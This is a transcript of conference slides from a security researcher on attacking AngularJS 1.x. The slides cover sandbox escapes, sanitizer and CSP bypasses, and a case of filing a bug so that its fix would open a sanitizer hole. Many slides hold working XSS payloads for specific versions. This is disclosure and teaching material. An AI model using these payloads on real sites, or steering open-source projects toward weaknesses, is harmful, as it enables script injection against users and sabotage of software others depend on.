An Abusive Relationship with AngularJS

Post on 21-Apr-2017

113,910 views 6 download

transcript

An Abusive Relationship with AngularJS About the Security Adventures with the "Super-Hero" Framework

A talk by Mario Heiderichmario@cure53.de || @0x6D6172696F

Godzilla in your DOM

● Dr.-Ing. Mario Heiderich● Researcher and Post-Doc, Ruhr-Uni Bochum

● PhD Thesis about Client Side Security and Defense● Founder of Cure53

● Pentest- & Security-Firm located in Berlin● Security, Consulting, Workshops, Trainings● Simply the Best Company in the World

● Published Author and Speaker● Specialized on HTML5, DOM and SVG Security● JavaScript, XSS and Client Side Attacks

● HTML5 Security Cheatsheet● And DOMPurify!

● @0x6D6172696F● mario@cure53.de

Today we want to talk about AngularJS 1.x. And how it deals with security.

But why? Is all this relevant?

And most importantly, is AngularJS 

the Honey Boo Boo of JavaScript Frameworks?

What is AngularJS?

● Popular JavaScript MVC● Model-View-Whatever actually● Self-proclaimed “Superheroic Framework”● Maintained and recommended by Google● Polarizing Philosophy● Ever-growing user-base● Large rate of adoption● Heavy traffic on GitHub repository

Why AngularJS

● It's not the first time I've been talking about AngularJS and its shenanigans.

● We've been whaling on AngularJS for quite some time actually.

● Here for example.● Leading to a strange discussion.● Is it personal? No. The reasons are different.

Relationship Reasons

● It's exposing a large amount of ...self-love. ● Superheroic framework.● It's changing ways websites work.● It breaks the API often and makes upgrades

harder.● It assumes to be smarter than HTML and works

with “markup sugar”.● It will break everything in upcoming version 2.0.● We saw yesterday how that will look like.

The Honey Boo Boo of MVC?

Maybe Not

● AngularJS has fairly high security standards.● The security level is great if the rules are being

followed.● By developers and maintainers. Both.● And anything complex running in the browser

must know the browser.● The web security paradox of layers.● Network, Server, Browser, Framework, User, …

and all the ways back to the network.

It's better to design your application in such a way that users cannot change client-side templates. For instance:

Do not mix client and server templates Do not use user input to generate templates dynamically Do not run user input through $scope.$eval Consider using CSP (but don't rely only on CSP)

https://docs.angularjs.org/guide/security

Now, let's be nasty and attack.

But what? What shall we have a look at?

Four General Attack-Vectors

● A1: Attacking the Sandbox● A2: Attacking the Sanitizer● A3: Attacking the CSP Mode● A4: Attacking the Codebase

A1

A1: The AngularJS Sandbox

● The AngularJS Sandbox is a weird creature with strange motivations.

● According to the documents, it's not a security tool.● It is mostly meant to “get devs off that DOM”.● Mean, to limit exposure of the original DOM to avoid its

pitfalls.● The AngularJS sandbox is in place for expressions and

several directives.● User input reflected in an expression often means

immediate XSS. The sandbox prevents that.

A1: First Bypasses

● Bypassing the sandbox in early AngularJS versions was trivial.

● {{constructor.constructor('alert(1)')()}}

● That's it. Access the scope object's constructor, next access constructor again, get Function, done.

● Function('code here')(); // like an eval

● This attack works starting with version AngularJS 1.0 and stops working in 1.2.0.

● Sadly, many sites still employ AngularJS 1.1.x.● And have difficulties upgrading due to API changes.

Or simply don't care about upgrades.

<!-- Bypassing Sandboxes, Toddler-style --!>

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>

<div class="ng-app">

{{ constructor.constructor('alert(1)')() }}

</div>

A1: First Fixes

● AngularJS reacted to this and implemented fixes. Because “no security tool”, right?

● This was done by restricting access to Function (and other dangerous objects)

● So, we needed to get Function from somewhere else.

● Somewhere, where AngularJS doesn't notice we have access to it.

● ES5, Callbacks and __proto__ help here!

A1: More Bypasses

● AngularJS' parser was actually quite smart.● Bypasses needed to be more creative.● Finders are Jann Horn, Mathias Karlsson and

Gábor Molnár● And luckily, we had Object to provide

methods to get Function from.● Or mentioned callbacks.● Let's dissect those for a brief moment.

<!-- Jann Horn's Bypass --!>

<html ng-app><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js"

></script></head><body>{{

(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor( _.__proto__,$).value,0,'alert(1)')()

}}</body>

<!-- A Variation for AngularJS by moi, specifically for 1.2.0 --!>

<html ng-app><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.js"

></script></head><body> {{ a="constructor";b={}; a.sub.call.call(b[a].getOwnPropertyDescriptor( b[a].getPrototypeOf( a.sub),a).value,0,'alert(1)')()

}}</body>

<!-- Mathias Karlsson's Bypass -->

<html ng-app><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.js"> </script></head><body> {{

toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor)

}} </body></html>

<!-- Gábor Molnár's Bypass -->

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.js"></script><body ng-app> {{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }}</body></html>

<!-- Bypass via attributes, no user interaction →<!-- Open that page with #foo in the URL -->

<!doctype html><html><head><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"></script></head><body><a id="foo" ng-app ng-focus="$event.view.location.replace('javascript:document.write(document.domain)')" contenteditable="true"></a></body></html>

A1: Extreme Bypasses

● Jann Horn reported another bypass for 1.3.2 and it's insane

<!-- Jann's rather extreme Bypass -->

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script><body ng-app ng-csp>{{objectPrototype = ({})[['__proto__']];objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);$root.$$listenerCount[['constructor']] = 0;$root.$$listeners = [].map;$root.$$listeners.indexOf = [].map.bind;functionPrototype = [].map[['__proto__']];functionToString = functionPrototype.toString;functionPrototype.push = ({}).valueOf;functionPrototype.indexOf = [].map.bind;foo = $root.$on('constructor', null);functionPrototype.toString = $root.$new;foo();}}{{functionPrototype.toString = functionToString;functionPrototype.indexOf = null;functionPrototype.push = null;$root.$$listeners = {};baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')();baz = true;''}}</body></html>

A1: Current State

● What about versions 1.3.2 to latest?● Any publicly known sandbox bypasses?● Access to pretty much everything has been

restricted.● No window, no Function, no Object, no call() or apply(), no document, no DOM nodes

● And all other interesting things the parser cannot understand. RegExp, “new”, anonymous functions.

● Is that the end of the road?● Let's have a look!

<!-- Jann Horn's latest Bypass -->

<html><head><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.js"></script></head><body ng-app>{{'this is how you write a number properly. also, numbers are basically arrays.';0[['__proto__']].toString = [][['__proto__']].pop;0[['__proto__']][0] = 'alert("TROLOLOL\\n"+document.location)';0[['__proto__']].length = 1;

'did you know that angularjs eval parses, then re-stringifies numbers? :)';$root.$eval("x=0", $root);}}</body></html>

<!-- Gareth's Bypasses, fixed in 1.5.0-rc2 -->

1.4.7{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.3.15{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}

1.2.28{{''.constructor.prototype.charAt=''.valueOf;$eval("x='\"+alert(1)+\"'");}}

Read more here:http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

Note that sandbox bypasses exist for the latest version 1.5.0­rc2 as well. 

Will they get fixed? Would it even make sense if they got fixed given the state of AngularJS 1.x?

I think no.

A1: User Interaction

● And there is of course variations, the maintainers cannot really do much about.

● For example copy&paste, my favorite.

<!-- Bypass using Copy&Paste in Firefox -->

<meta charset="UTF-8"><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.min.js"></script><body ng-app=""> <input ng-copy="$event.preventDefault();$event.clipboardData.setData('text/html','&lt;div contenteditable=&quot;false&quot;&gt;&lt;svg&gt;&lt;a xlink:href=&quot;?&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;circle r=&quot;500&quot; fill=&quot;red&quot;&gt;&lt;/circle&gt;&lt;animate attributeName=&quot;xlink:href&quot; from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot; begin=&quot;0&quot;&gt;&lt;/animate&gt;&lt;/a&gt;&lt;/svg&gt;&lt;/div&gt')" value="Copy Me"> <div contenteditable>PASTE HERE</div></body></html>

A2

A2: The Sanitizer

● AngularJS has an integrated HTML sanitizer.● It's a component called $sanitize.● It's purpose is to wash away XSS attacks

from a string of HTML.● And return a clean string of HTML ready for

safe and secure usage.● There is two major versions, one horrible

version, one that's not so bad.

A2: The Old Sanitizer

● The Old Sanitizer uses an actual HTML parser from 2008.

● That old thing from John E. Resig.● It's extremely strict, hard to configure, crashes

literally all the time.● We published a test-case where you can play with it.● And it can be bypassed if some likely

prerequisites are met.● Because of Chrome.● Also, a friendly hat-tip to Gareth Heyes!

Injection: <svg xmlns:xlink="http://www.w3.org/1999/xlink"><use xlink:href="test.json?callback=%3Csvg%20id%3D%27rectangle%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%20xmlns%3Axlink%3D%27http%3A//www.w3.org/1999/xlink%27%20width%3D%27100%27%20height%3D%27100%27%3E%3Ca%20xlink%3Ahref%3D%27javascript%3Aalert%28location%29%27%3E%3Crect%20x%3D%270%27%20y%3D%270%27%20width%3D%27100%27%20height%3D%27100%27%20/%3E%3C/a%3E%3C/svg%3E#rectangle"></use></svg>

Chrome ignores content type for SVG <use>!

A2: The New Sanitizer

● The New Sanitizer is still ugly. But it uses the DOM instead of a parser.

● Namely, document.implementation, just like DOMPurify

● It is still very strict, even more so since now it forbids SVG by default. Boo.

● Early versions did not and were “bypassable”.● And SVG is admittedly tricky to handle.● New versions do and are still “bypassable”.● Because of Chrome. Again.● Cheers, Roman Shafigullin.

Affected Characters: &#5760; &#8192; &#8193; &#8194; &#8195; &#8196; &#8197; &#8198; &#8199; &#8200; &#8201; &#8202; &#8232; &#8287;

A classic mXSS in Chrome!

A3

A3: Attacking the CSP Mode

● Contrary to many other frameworks, AngularJS works well together with CSP.

● CSP? Content Security Policy. ● The wannabe “XSS Killer”.● And it has to, otherwise it wouldn't be deployable in

extensions and alike.● Its compatibility with CSP is a strength and a

weakness at the same time.● We are interested in the latter of course.

A3: Early CSP Bypasses

● The first spotted bypasses were trivial to say the least. Just use Framework features.

● Take a website with strong CSP and older AngularJS.● Find an injection.● Don't do "onclick="alert(1)"● But instead do "ng-click="$event.view.alert(1)".● Because $event leaks window via view.● This works until version 1.1.5.

<?phpheader('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');?><html ng-app ng-csp><head><meta charset="utf-8"><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js"></script></head><body>

<h1 ng-click="$event.view.alert(1)">XSS</h1><h1 ng:click="$event.view.alert(2)">XSS</h1><h1 x-ng-click="$event.view.alert(3)">XSS</h1><h1 data-ng-click="$event.view.alert(4)">XSS</h1><h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1>

</body></html>

A3: Fixes and new Bypasses● Why not use the sandbox here as well?● AngularJS started to prevent access to window and

other properties.● So we would do it indirectly, abusing a

Chrome flaw, with the help of Blob.● But for Blob we would need the “new” operator

and AngularJS doesn't parse that. ● So we need to resort to using ES6 and the brand

new Reflect API.● This works until version 1.3.1 by the way.● And latest Chrome supports ES6's Reflect

API! Yay :D

<?phpheader('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');?><html ng-app ng-csp><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js" ></script></head><body>

<h1 ng-click="

$event.view.location.replace($event.view.URL.createObjectURL($event. view.Reflect.construct( $event.view.Blob,[['<script>alert(1)</script>'],{type:'text/html'}])))

">XSS</h1>

<!-- without CSP we can of course do this --><h1 ng-click="$event.view.location.replace('javascript:alert(1)')">XSS</h1></body>

<!-- read from bottom to top --><h1 ng-click="

$event.view.location.replace( // 4. call location.replace $event.view.URL.createObjectURL( // 3. create Blob URL $event.view.Reflect.construct( // 2. get around “new” $event.view.Blob, [['<script>alert(1)</script>'], {type:'text/html'}] // 1. build a Blob ) ));

">XSS</h1>

A3: Universal CSP Bypass

● There's another bypass they cannot easily fix.● It works where applications use the Google CDN.● And it relates to a collision check they

implemented. Only too late.● Because it landed in 1.2.15 and newer.● “WARNING: Tried to load angular more than once.”

● And essentially enables a downgrade attack.● That will, if Google CDN is white-listed, universally

bypass CSP. Don't white-list that CDN.● Just bring the old bypasses back!

<?phpheader('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');?><html ng-app ng-csp><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.js" ></script></head><body>

<h1 class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js></script><h1/ng-click=$event.view.alert(1)//>CLICKME"></h1>

</body>

A4

A4: Attacking the Code-Base

● What does an attacker do if no exploitable bugs can be found?

● Of course. We attack the project itself.● And use the power of open source to introduce

changes that cause the bugs we want.● And thereby get both praise for reporting a bug

and the desired exploit for free.● We did that to AngularJS.● Google Security knew in advance,

AngularJS did not.

A4: The Con-Setup

● We needed a subtle “bug” that upon being fixed would raise a security issue.

● Or smuggle in a pull request that looks unsuspicious enough to pass QA.

● The first option is unlikely, like a lottery win.● The second option is a bit more risky, what if we get

detected?● Well.● We were lucky, that exact subtle “bug” existed

and it did in the $sanitizer component. ● Let's have a look!

A4: The Bug

// SVG attributes (without "id" and "name" attributes)// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributesvar svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' +

'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' + 'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' + 'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' + 'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' + 'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' + 'zoomAndPan');

Fun fact, those attributes were considered safe because of a deprecated Wiki page from WHATWG: https://wiki.whatwg.org/wiki/Sanitization_rules

A4: The Bug

angular.forEach(attrs, function(value, key) {

var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background');

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } });

As we can see, the lowercasing ruins the test – and even valid attributes cannot pass. What a coincidence, that this happens exactly for dangerous attributes here! Thanks, SVG!

A4: The Execution

● So, if that specific behavior observed in the sanitizer blocks a bypass...

● We need to file a bug to get it fixed!● The bug. Not the bypass :)● So we did that.● And it got accepted!

A4: The Bypass

<svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href"

begin="0" from="javascript:alert(1)" to="&" /> </a></svg>

We use an animation to animate a link's href attribute from a benign, over a dangerous to a harmless but invalid state, causing the browser to jump back to the malicious state. Neat.

A4: The Aftermath

● We reported the issue to Google Security.● They informed the AngularJS Team.● Nothing happened for weeks.● The next release came close. Danger!● We pinged again.● They finally fixed our bug.● Phew :)● Now, note that file contains a big comment warning

the developers.

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

And, in case you hate us a bit for doing that

stunt...

We even got Bug Bounty for that in the end!

:D

A Quick Conclusion

● AngularJS does in fact extend the attack surface dramatically. Older versions even more.

● Meanwhile, some things are done right. Others can almost never be fixed again.

● Developers have to know pitfalls to avoid them.● And we find MANY of these in penetration tests: MANY.● And pitfalls often are unfairly hard to detect and avoid.

Especially when CSP is involved.● Many sites still use older versions. Many.● Open Source can be risky if the traction is high.● Google's team already does well though.● But Google could do better in helping developers.

The End

● Question? Comments?● Thanks a lot!● Shouts go out to

● Gareth McHeyes● Jann Horn● Mathias Karlsson● Gábor Molnár● David Ross● Eduardo Vela● The AngularJS team for so much XSS :D